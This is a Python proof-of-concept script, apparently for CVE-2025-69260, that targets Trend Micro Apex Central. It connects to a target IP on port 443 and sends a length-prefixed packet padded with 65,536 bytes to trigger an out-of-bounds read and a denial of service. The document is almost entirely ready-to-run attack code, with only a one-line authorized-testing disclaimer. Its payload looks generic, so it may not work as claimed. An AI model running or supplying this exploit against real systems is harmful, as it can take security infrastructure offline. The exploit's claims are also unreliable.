CVE-2025-69260

#!/usr/bin/env python3 """ CVE-2025-69260 PoC - Trend Micro Apex Central Message Out-of-bounds Read This PoC demonstrates a DoS condition by sending malformed messages. Note: Use only for authorized security testing. """ import socket import struct import sys def send_malformed_message(target_ip, target_port=443): """ Send a malformed message to trigger out-of-bounds read in Apex Central. The vulnerability exists in message parsing without proper boundary checks. """ try: # Construct malformed message with oversized field # This exploits the message out-of-bounds read vulnerability header = b'\x00\x01\x00\x00' # Message header oversized_field = b'A' * 65536 # Oversized field to trigger OOB read malformed_data = header + oversized_field # Add message length prefix msg_length = len(malformed_data) packet = struct.pack('>I', msg_length) + malformed_data print(f"[*] Connecting to {target_ip}:{target_port}") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) print(f"[*] Sending malformed message ({len(packet)} bytes)") sock.sendall(packet) print("[*] Message sent. Target may be unresponsive if vulnerable.") sock.close() return True except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 443 send_malformed_message(target, port)

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